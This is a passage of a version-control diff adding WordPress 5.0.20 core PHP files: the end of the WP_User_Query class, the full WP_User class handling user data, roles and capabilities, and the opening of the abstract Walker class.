+
+			$this->results = $r;
+		} elseif ( 'all' == $qv['fields'] ) {
+			foreach ( $this->results as $key => $user ) {
+				$this->results[ $key ] = new WP_User( $user, '', $qv['blog_id'] );
+			}
+		}
+	}
+
+	/**
+	 * Retrieve query variable.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $query_var Query variable key.
+	 * @return mixed
+	 */
+	public function get( $query_var ) {
+		if ( isset( $this->query_vars[$query_var] ) )
+			return $this->query_vars[$query_var];
+
+		return null;
+	}
+
+	/**
+	 * Set query variable.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $query_var Query variable key.
+	 * @param mixed $value Query variable value.
+	 */
+	public function set( $query_var, $value ) {
+		$this->query_vars[$query_var] = $value;
+	}
+
+	/**
+	 * Used internally to generate an SQL string for searching across multiple columns
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $string
+	 * @param array  $cols
+	 * @param bool   $wild   Whether to allow wildcard searches. Default is false for Network Admin, true for single site.
+	 *                       Single site allows leading and trailing wildcards, Network Admin only trailing.
+	 * @return string
+	 */
+	protected function get_search_sql( $string, $cols, $wild = false ) {
+		global $wpdb;
+
+		$searches = array();
+		$leading_wild = ( 'leading' == $wild || 'both' == $wild ) ? '%' : '';
+		$trailing_wild = ( 'trailing' == $wild || 'both' == $wild ) ? '%' : '';
+		$like = $leading_wild . $wpdb->esc_like( $string ) . $trailing_wild;
+
+		foreach ( $cols as $col ) {
+			if ( 'ID' == $col ) {
+				$searches[] = $wpdb->prepare( "$col = %s", $string );
+			} else {
+				$searches[] = $wpdb->prepare( "$col LIKE %s", $like );
+			}
+		}
+
+		return ' AND (' . implode(' OR ', $searches) . ')';
+	}
+
+	/**
+	 * Return the list of users.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return array Array of results.
+	 */
+	public function get_results() {
+		return $this->results;
+	}
+
+	/**
+	 * Return the total number of users for the current query.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return int Number of total users.
+	 */
+	public function get_total() {
+		return $this->total_users;
+	}
+
+	/**
+	 * Parse and sanitize 'orderby' keys passed to the user query.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $orderby Alias for the field to order by.
+	 * @return string Value to used in the ORDER clause, if `$orderby` is valid.
+	 */
+	protected function parse_orderby( $orderby ) {
+		global $wpdb;
+
+		$meta_query_clauses = $this->meta_query->get_clauses();
+
+		$_orderby = '';
+		if ( in_array( $orderby, array( 'login', 'nicename', 'email', 'url', 'registered' ) ) ) {
+			$_orderby = 'user_' . $orderby;
+		} elseif ( in_array( $orderby, array( 'user_login', 'user_nicename', 'user_email', 'user_url', 'user_registered' ) ) ) {
+			$_orderby = $orderby;
+		} elseif ( 'name' == $orderby || 'display_name' == $orderby ) {
+			$_orderby = 'display_name';
+		} elseif ( 'post_count' == $orderby ) {
+			// todo: avoid the JOIN
+			$where = get_posts_by_author_sql( 'post' );
+			$this->query_from .= " LEFT OUTER JOIN (
+				SELECT post_author, COUNT(*) as post_count
+				FROM $wpdb->posts
+				$where
+				GROUP BY post_author
+			) p ON ({$wpdb->users}.ID = p.post_author)
+			";
+			$_orderby = 'post_count';
+		} elseif ( 'ID' == $orderby || 'id' == $orderby ) {
+			$_orderby = 'ID';
+		} elseif ( 'meta_value' == $orderby || $this->get( 'meta_key' ) == $orderby ) {
+			$_orderby = "$wpdb->usermeta.meta_value";
+		} elseif ( 'meta_value_num' == $orderby ) {
+			$_orderby = "$wpdb->usermeta.meta_value+0";
+		} elseif ( 'include' === $orderby && ! empty( $this->query_vars['include'] ) ) {
+			$include = wp_parse_id_list( $this->query_vars['include'] );
+			$include_sql = implode( ',', $include );
+			$_orderby = "FIELD( $wpdb->users.ID, $include_sql )";
+		} elseif ( 'nicename__in' === $orderby ) {
+			$sanitized_nicename__in = array_map( 'esc_sql', $this->query_vars['nicename__in'] );
+			$nicename__in = implode( "','", $sanitized_nicename__in );
+			$_orderby = "FIELD( user_nicename, '$nicename__in' )";
+		} elseif ( 'login__in' === $orderby ) {
+			$sanitized_login__in = array_map( 'esc_sql', $this->query_vars['login__in'] );
+			$login__in = implode( "','", $sanitized_login__in );
+			$_orderby = "FIELD( user_login, '$login__in' )";
+		} elseif ( isset( $meta_query_clauses[ $orderby ] ) ) {
+			$meta_clause = $meta_query_clauses[ $orderby ];
+			$_orderby = sprintf( "CAST(%s.meta_value AS %s)", esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) );
+		}
+
+		return $_orderby;
+	}
+
+	/**
+	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $order The 'order' query variable.
+	 * @return string The sanitized 'order' query variable.
+	 */
+	protected function parse_order( $order ) {
+		if ( ! is_string( $order ) || empty( $order ) ) {
+			return 'DESC';
+		}
+
+		if ( 'ASC' === strtoupper( $order ) ) {
+			return 'ASC';
+		} else {
+			return 'DESC';
+		}
+	}
+
+	/**
+	 * Make private properties readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return $this->$name;
+		}
+	}
+
+	/**
+	 * Make private properties settable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name  Property to check if set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return $this->$name = $value;
+		}
+	}
+
+	/**
+	 * Make private properties checkable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return isset( $this->$name );
+		}
+	}
+
+	/**
+	 * Make private properties un-settable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			unset( $this->$name );
+		}
+	}
+
+	/**
+	 * Make private/protected methods readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		if ( 'get_search_sql' === $name ) {
+			return call_user_func_array( array( $this, $name ), $arguments );
+		}
+		return false;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-user.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-user.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-user.php	(revision 56912)
@@ -0,0 +1,841 @@
+<?php
+/**
+ * User API: WP_User class
+ *
+ * @package WordPress
+ * @subpackage Users
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement the WP_User object.
+ *
+ * @since 2.0.0
+ *
+ * @property string $nickname
+ * @property string $description
+ * @property string $user_description
+ * @property string $first_name
+ * @property string $user_firstname
+ * @property string $last_name
+ * @property string $user_lastname
+ * @property string $user_login
+ * @property string $user_pass
+ * @property string $user_nicename
+ * @property string $user_email
+ * @property string $user_url
+ * @property string $user_registered
+ * @property string $user_activation_key
+ * @property string $user_status
+ * @property int    $user_level
+ * @property string $display_name
+ * @property string $spam
+ * @property string $deleted
+ * @property string $locale
+ * @property string $rich_editing
+ * @property string $syntax_highlighting
+ */
+class WP_User {
+	/**
+	 * User data container.
+	 *
+	 * @since 2.0.0
+	 * @var object
+	 */
+	public $data;
+
+	/**
+	 * The user's ID.
+	 *
+	 * @since 2.1.0
+	 * @var int
+	 */
+	public $ID = 0;
+
+	/**
+	 * The individual capabilities the user has been given.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $caps = array();
+
+	/**
+	 * User metadata option name.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $cap_key;
+
+	/**
+	 * The roles the user is part of.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $roles = array();
+
+	/**
+	 * All capabilities the user has, including individual and role based.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $allcaps = array();
+
+	/**
+	 * The filter context applied to user data fields.
+	 *
+	 * @since 2.9.0
+	 * @var string
+	 */
+	public $filter = null;
+
+	/**
+	 * The site ID the capabilities of this user are initialized for.
+	 *
+	 * @since 4.9.0
+	 * @var int
+	 */
+	private $site_id = 0;
+
+	/**
+	 * @static
+	 * @since 3.3.0
+	 * @var array
+	 */
+	private static $back_compat_keys;
+
+	/**
+	 * Constructor.
+	 *
+	 * Retrieves the userdata and passes it to WP_User::init().
+	 *
+	 * @since 2.0.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int|string|stdClass|WP_User $id User's ID, a WP_User object, or a user object from the DB.
+	 * @param string $name Optional. User's username
+	 * @param int $site_id Optional Site ID, defaults to current site.
+	 */
+	public function __construct( $id = 0, $name = '', $site_id = '' ) {
+		if ( ! isset( self::$back_compat_keys ) ) {
+			$prefix = $GLOBALS['wpdb']->prefix;
+			self::$back_compat_keys = array(
+				'user_firstname' => 'first_name',
+				'user_lastname' => 'last_name',
+				'user_description' => 'description',
+				'user_level' => $prefix . 'user_level',
+				$prefix . 'usersettings' => $prefix . 'user-settings',
+				$prefix . 'usersettingstime' => $prefix . 'user-settings-time',
+			);
+		}
+
+		if ( $id instanceof WP_User ) {
+			$this->init( $id->data, $site_id );
+			return;
+		} elseif ( is_object( $id ) ) {
+			$this->init( $id, $site_id );
+			return;
+		}
+
+		if ( ! empty( $id ) && ! is_numeric( $id ) ) {
+			$name = $id;
+			$id = 0;
+		}
+
+		if ( $id ) {
+			$data = self::get_data_by( 'id', $id );
+		} else {
+			$data = self::get_data_by( 'login', $name );
+		}
+
+		if ( $data ) {
+			$this->init( $data, $site_id );
+		} else {
+			$this->data = new stdClass;
+		}
+	}
+
+	/**
+	 * Sets up object properties, including capabilities.
+	 *
+	 * @since  3.3.0
+	 *
+	 * @param object $data    User DB row object.
+	 * @param int    $site_id Optional. The site ID to initialize for.
+	 */
+	public function init( $data, $site_id = '' ) {
+		$this->data = $data;
+		$this->ID = (int) $data->ID;
+
+		$this->for_site( $site_id );
+	}
+
+	/**
+	 * Return only the main user fields
+	 *
+	 * @since 3.3.0
+	 * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter.
+	 *
+	 * @static
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $field The field to query against: 'id', 'ID', 'slug', 'email' or 'login'.
+	 * @param string|int $value The field value
+	 * @return object|false Raw user object
+	 */
+	public static function get_data_by( $field, $value ) {
+		global $wpdb;
+
+		// 'ID' is an alias of 'id'.
+		if ( 'ID' === $field ) {
+			$field = 'id';
+		}
+
+		if ( 'id' == $field ) {
+			// Make sure the value is numeric to avoid casting objects, for example,
+			// to int 1.
+			if ( ! is_numeric( $value ) )
+				return false;
+			$value = intval( $value );
+			if ( $value < 1 )
+				return false;
+		} else {
+			$value = trim( $value );
+		}
+
+		if ( !$value )
+			return false;
+
+		switch ( $field ) {
+			case 'id':
+				$user_id = $value;
+				$db_field = 'ID';
+				break;
+			case 'slug':
+				$user_id = wp_cache_get($value, 'userslugs');
+				$db_field = 'user_nicename';
+				break;
+			case 'email':
+				$user_id = wp_cache_get($value, 'useremail');
+				$db_field = 'user_email';
+				break;
+			case 'login':
+				$value = sanitize_user( $value );
+				$user_id = wp_cache_get($value, 'userlogins');
+				$db_field = 'user_login';
+				break;
+			default:
+				return false;
+		}
+
+		if ( false !== $user_id ) {
+			if ( $user = wp_cache_get( $user_id, 'users' ) )
+				return $user;
+		}
+
+		if ( !$user = $wpdb->get_row( $wpdb->prepare(
+			"SELECT * FROM $wpdb->users WHERE $db_field = %s", $value
+		) ) )
+			return false;
+
+		update_user_caches( $user );
+
+		return $user;
+	}
+
+	/**
+	 * Magic method for checking the existence of a certain custom field.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $key User meta key to check if set.
+	 * @return bool Whether the given user meta key is set.
+	 */
+	public function __isset( $key ) {
+		if ( 'id' == $key ) {
+			_deprecated_argument( 'WP_User->id', '2.1.0',
+				sprintf(
+					/* translators: %s: WP_User->ID */
+					__( 'Use %s instead.' ),
+					'<code>WP_User->ID</code>'
+				)
+			);
+			$key = 'ID';
+		}
+
+		if ( isset( $this->data->$key ) )
+			return true;
+
+		if ( isset( self::$back_compat_keys[ $key ] ) )
+			$key = self::$back_compat_keys[ $key ];
+
+		return metadata_exists( 'user', $this->ID, $key );
+	}
+
+	/**
+	 * Magic method for accessing custom fields.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $key User meta key to retrieve.
+	 * @return mixed Value of the given user meta key (if set). If `$key` is 'id', the user ID.
+	 */
+	public function __get( $key ) {
+		if ( 'id' == $key ) {
+			_deprecated_argument( 'WP_User->id', '2.1.0',
+				sprintf(
+					/* translators: %s: WP_User->ID */
+					__( 'Use %s instead.' ),
+					'<code>WP_User->ID</code>'
+				)
+			);
+			return $this->ID;
+		}
+
+		if ( isset( $this->data->$key ) ) {
+			$value = $this->data->$key;
+		} else {
+			if ( isset( self::$back_compat_keys[ $key ] ) )
+				$key = self::$back_compat_keys[ $key ];
+			$value = get_user_meta( $this->ID, $key, true );
+		}
+
+		if ( $this->filter ) {
+			$value = sanitize_user_field( $key, $value, $this->ID, $this->filter );
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Magic method for setting custom user fields.
+	 *
+	 * This method does not update custom fields in the database. It only stores
+	 * the value on the WP_User instance.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $key   User meta key.
+	 * @param mixed  $value User meta value.
+	 */
+	public function __set( $key, $value ) {
+		if ( 'id' == $key ) {
+			_deprecated_argument( 'WP_User->id', '2.1.0',
+				sprintf(
+					/* translators: %s: WP_User->ID */
+					__( 'Use %s instead.' ),
+					'<code>WP_User->ID</code>'
+				)
+			);
+			$this->ID = $value;
+			return;
+		}
+
+		$this->data->$key = $value;
+	}
+
+	/**
+	 * Magic method for unsetting a certain custom field.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key User meta key to unset.
+	 */
+	public function __unset( $key ) {
+		if ( 'id' == $key ) {
+			_deprecated_argument( 'WP_User->id', '2.1.0',
+				sprintf(
+					/* translators: %s: WP_User->ID */
+					__( 'Use %s instead.' ),
+					'<code>WP_User->ID</code>'
+				)
+			);
+		}
+
+		if ( isset( $this->data->$key ) ) {
+			unset( $this->data->$key );
+		}
+
+		if ( isset( self::$back_compat_keys[ $key ] ) ) {
+			unset( self::$back_compat_keys[ $key ] );
+		}
+	}
+
+	/**
+	 * Determine whether the user exists in the database.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool True if user exists in the database, false if not.
+	 */
+	public function exists() {
+		return ! empty( $this->ID );
+	}
+
+	/**
+	 * Retrieve the value of a property or meta key.
+	 *
+	 * Retrieves from the users and usermeta table.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $key Property
+	 * @return mixed
+	 */
+	public function get( $key ) {
+		return $this->__get( $key );
+	}
+
+	/**
+	 * Determine whether a property or meta key is set
+	 *
+	 * Consults the users and usermeta tables.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $key Property
+	 * @return bool
+	 */
+	public function has_prop( $key ) {
+		return $this->__isset( $key );
+	}
+
+	/**
+	 * Return an array representation.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return array Array representation.
+	 */
+	public function to_array() {
+		return get_object_vars( $this->data );
+	}
+
+	/**
+	 * Makes private/protected methods readable for backward compatibility.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|false Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		if ( '_init_caps' === $name ) {
+			return call_user_func_array( array( $this, $name ), $arguments );
+		}
+		return false;
+	}
+
+	/**
+	 * Set up capability object properties.
+	 *
+	 * Will set the value for the 'cap_key' property to current database table
+	 * prefix, followed by 'capabilities'. Will then check to see if the
+	 * property matching the 'cap_key' exists and is an array. If so, it will be
+	 * used.
+	 *
+	 * @since 2.1.0
+	 * @deprecated 4.9.0 Use WP_User::for_site()
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $cap_key Optional capability key
+	 */
+	protected function _init_caps( $cap_key = '' ) {
+		global $wpdb;
+
+		_deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' );
+
+		if ( empty( $cap_key ) ) {
+			$this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities';
+		} else {
+			$this->cap_key = $cap_key;
+		}
+
+		$this->caps = $this->get_caps_data();
+
+		$this->get_role_caps();
+	}
+
+	/**
+	 * Retrieve all of the role capabilities and merge with individual capabilities.
+	 *
+	 * All of the capabilities of the roles the user belongs to are merged with
+	 * the users individual roles. This also means that the user can be denied
+	 * specific roles that their role might have, but the specific user isn't
+	 * granted permission to.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @return array List of all capabilities for the user.
+	 */
+	public function get_role_caps() {
+		$switch_site = false;
+		if ( is_multisite() && $this->site_id != get_current_blog_id() ) {
+			$switch_site = true;
+
+			switch_to_blog( $this->site_id );
+		}
+
+		$wp_roles = wp_roles();
+
+		//Filter out caps that are not role names and assign to $this->roles
+		if ( is_array( $this->caps ) )
+			$this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) );
+
+		//Build $allcaps from role caps, overlay user's $caps
+		$this->allcaps = array();
+		foreach ( (array) $this->roles as $role ) {
+			$the_role = $wp_roles->get_role( $role );
+			$this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities );
+		}
+		$this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps );
+
+		if ( $switch_site ) {
+			restore_current_blog();
+		}
+
+		return $this->allcaps;
+	}
+
+	/**
+	 * Add role to user.
+	 *
+	 * Updates the user's meta data option with capabilities and roles.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 */
+	public function add_role( $role ) {
+		if ( empty( $role ) ) {
+			return;
+		}
+
+		$this->caps[$role] = true;
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+
+		/**
+		 * Fires immediately after the user has been given a new role.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @param int    $user_id The user ID.
+		 * @param string $role    The new role.
+		 */
+		do_action( 'add_user_role', $this->ID, $role );
+	}
+
+	/**
+	 * Remove role from user.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 */
+	public function remove_role( $role ) {
+		if ( !in_array($role, $this->roles) )
+			return;
+		unset( $this->caps[$role] );
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+
+		/**
+		 * Fires immediately after a role as been removed from a user.
+		 *
+		 * @since 4.3.0
+		 *
+		 * @param int    $user_id The user ID.
+		 * @param string $role    The removed role.
+		 */
+		do_action( 'remove_user_role', $this->ID, $role );
+	}
+
+	/**
+	 * Set the role of the user.
+	 *
+	 * This will remove the previous roles of the user and assign the user the
+	 * new one. You can set the role to an empty string and it will remove all
+	 * of the roles from the user.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 */
+	public function set_role( $role ) {
+		if ( 1 == count( $this->roles ) && $role == current( $this->roles ) )
+			return;
+
+		foreach ( (array) $this->roles as $oldrole )
+			unset( $this->caps[$oldrole] );
+
+		$old_roles = $this->roles;
+		if ( !empty( $role ) ) {
+			$this->caps[$role] = true;
+			$this->roles = array( $role => true );
+		} else {
+			$this->roles = false;
+		}
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+
+		/**
+		 * Fires after the user's role has changed.
+		 *
+		 * @since 2.9.0
+		 * @since 3.6.0 Added $old_roles to include an array of the user's previous roles.
+		 *
+		 * @param int    $user_id   The user ID.
+		 * @param string $role      The new role.
+		 * @param array  $old_roles An array of the user's previous roles.
+		 */
+		do_action( 'set_user_role', $this->ID, $role, $old_roles );
+	}
+
+	/**
+	 * Choose the maximum level the user has.
+	 *
+	 * Will compare the level from the $item parameter against the $max
+	 * parameter. If the item is incorrect, then just the $max parameter value
+	 * will be returned.
+	 *
+	 * Used to get the max level based on the capabilities the user has. This
+	 * is also based on roles, so if the user is assigned the Administrator role
+	 * then the capability 'level_10' will exist and the user will get that
+	 * value.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int $max Max level of user.
+	 * @param string $item Level capability name.
+	 * @return int Max Level.
+	 */
+	public function level_reduction( $max, $item ) {
+		if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) {
+			$level = intval( $matches[1] );
+			return max( $max, $level );
+		} else {
+			return $max;
+		}
+	}
+
+	/**
+	 * Update the maximum user level for the user.
+	 *
+	 * Updates the 'user_level' user metadata (includes prefix that is the
+	 * database table prefix) with the maximum user level. Gets the value from
+	 * the all of the capabilities that the user has.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 */
+	public function update_user_level_from_caps() {
+		global $wpdb;
+		$this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 );
+		update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level );
+	}
+
+	/**
+	 * Add capability and grant or deny access to capability.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $cap Capability name.
+	 * @param bool $grant Whether to grant capability to user.
+	 */
+	public function add_cap( $cap, $grant = true ) {
+		$this->caps[$cap] = $grant;
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+	}
+
+	/**
+	 * Remove capability from user.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $cap Capability name.
+	 */
+	public function remove_cap( $cap ) {
+		if ( ! isset( $this->caps[ $cap ] ) ) {
+			return;
+		}
+		unset( $this->caps[ $cap ] );
+		update_user_meta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+	}
+
+	/**
+	 * Remove all of the capabilities of the user.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 */
+	public function remove_all_caps() {
+		global $wpdb;
+		$this->caps = array();
+		delete_user_meta( $this->ID, $this->cap_key );
+		delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' );
+		$this->get_role_caps();
+	}
+
+	/**
+	 * Whether the user has a specific capability.
+	 *
+	 * While checking against a role in place of a capability is supported in part, this practice is discouraged as it
+	 * may produce unreliable results.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @see map_meta_cap()
+	 *
+	 * @param string $cap           Capability name.
+	 * @param int    $object_id,... Optional. ID of a specific object to check against if `$cap` is a "meta" capability.
+	 *                              Meta capabilities such as `edit_post` and `edit_user` are capabilities used by
+	 *                              by the `map_meta_cap()` function to map to primitive capabilities that a user or
+	 *                              role has, such as `edit_posts` and `edit_others_posts`.
+	 * @return bool Whether the user has the given capability, or, if `$object_id` is passed, whether the user has
+	 *              the given capability for that object.
+	 */
+	public function has_cap( $cap ) {
+		if ( is_numeric( $cap ) ) {
+			_deprecated_argument( __FUNCTION__, '2.0.0', __( 'Usage of user levels is deprecated. Use capabilities instead.' ) );
+			$cap = $this->translate_level_to_cap( $cap );
+		}
+
+		$args = array_slice( func_get_args(), 1 );
+		$args = array_merge( array( $cap, $this->ID ), $args );
+		$caps = call_user_func_array( 'map_meta_cap', $args );
+
+		// Multisite super admin has all caps by definition, Unless specifically denied.
+		if ( is_multisite() && is_super_admin( $this->ID ) ) {
+			if ( in_array('do_not_allow', $caps) )
+				return false;
+			return true;
+		}
+
+		/**
+		 * Dynamically filter a user's capabilities.
+		 *
+		 * @since 2.0.0
+		 * @since 3.7.0 Added the user object.
+		 *
+		 * @param array   $allcaps An array of all the user's capabilities.
+		 * @param array   $caps    Actual capabilities for meta capability.
+		 * @param array   $args    Optional parameters passed to has_cap(), typically object ID.
+		 * @param WP_User $user    The user object.
+		 */
+		$capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this );
+
+		// Everyone is allowed to exist.
+		$capabilities['exist'] = true;
+
+		// Nobody is allowed to do things they are not allowed to do.
+		unset( $capabilities['do_not_allow'] );
+
+		// Must have ALL requested caps.
+		foreach ( (array) $caps as $cap ) {
+			if ( empty( $capabilities[ $cap ] ) )
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Convert numeric level to level capability name.
+	 *
+	 * Prepends 'level_' to level number.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int $level Level number, 1 to 10.
+	 * @return string
+	 */
+	public function translate_level_to_cap( $level ) {
+		return 'level_' . $level;
+	}
+
+	/**
+	 * Set the site to operate on. Defaults to the current site.
+	 *
+	 * @since 3.0.0
+	 * @deprecated 4.9.0 Use WP_User::for_site()
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $blog_id Optional. Site ID, defaults to current site.
+	 */
+	public function for_blog( $blog_id = '' ) {
+		_deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' );
+
+		$this->for_site( $blog_id );
+	}
+
+	/**
+	 * Sets the site to operate on. Defaults to the current site.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $site_id Site ID to initialize user capabilities for. Default is the current site.
+	 */
+	public function for_site( $site_id = '' ) {
+		global $wpdb;
+
+		if ( ! empty( $site_id ) ) {
+			$this->site_id = absint( $site_id );
+		} else {
+			$this->site_id = get_current_blog_id();
+		}
+
+		$this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities';
+
+		$this->caps = $this->get_caps_data();
+
+		$this->get_role_caps();
+	}
+
+	/**
+	 * Gets the ID of the site for which the user's capabilities are currently initialized.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @return int Site ID.
+	 */
+	public function get_site_id() {
+		return $this->site_id;
+	}
+
+	/**
+	 * Gets the available user capabilities data.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @return array User capabilities array.
+	 */
+	private function get_caps_data() {
+		$caps = get_user_meta( $this->ID, $this->cap_key, true );
+
+		if ( ! is_array( $caps ) ) {
+			return array();
+		}
+
+		return $caps;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-walker.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-walker.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-walker.php	(revision 56912)
@@ -0,0 +1,425 @@
+<?php
+/**
+ * A class for displaying various tree-like structures.
+ *
+ * Extend the Walker class to use it, see examples below. Child classes
+ * do not need to implement all of the abstract methods in the class. The child
+ * only needs to implement the methods that are needed.
+ *
+ * @since 2.1.0
+ *
+ * @package WordPress
+ * @abstract
+ */
+class Walker {
+	/**
+	 * What the class handles.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 */
+	public $tree_type;
+
+	/**
+	 * DB fields to use.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $db_fields;
+
+	/**
+	 * Max number of pages walked by the paged walker
+	 *
+	 * @since 2.7.0
+	 * @var int
+	 */
+	public $max_pages = 1;
+
+	/**
+	 * Whether the current element has children or not.
+	 *
+	 * To be used in start_el().
+	 *
+	 * @since 4.0.0
+	 * @var bool
+	 */
+	public $has_children;
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * The $args parameter holds additional values that may be used with the child
+	 * class methods. This method is called at the start of the output list.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Depth of the item.
+	 * @param array  $args   An array of additional arguments.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * The $args parameter holds additional values that may be used with the child
+	 * class methods. This method finishes the list at the end of output of the elements.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Depth of the item.
+	 * @param array  $args   An array of additional arguments.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Start the element output.
+	 *
+	 * The $args parameter holds additional values that may be used with the child
+	 * class methods. Includes the element output also.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output            Used to append additional content (passed by reference).
+	 * @param object $object            The data object.
+	 * @param int    $depth             Depth of the item.
+	 * @param array  $args              An array of additional arguments.
+	 * @param int    $current_object_id ID of the current item.
+	 */
+	public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * The $args parameter holds additional values that may be used with the child class methods.
+	 *
+	 * @since 2.1.0
+	 * @abstract
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param object $object The data object.
+	 * @param int    $depth  Depth of the item.
+	 * @param array  $args   An array of additional arguments.
+	 */
+	public function end_el( &$output, $object, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Traverse elements to create list from elements.
+	 *
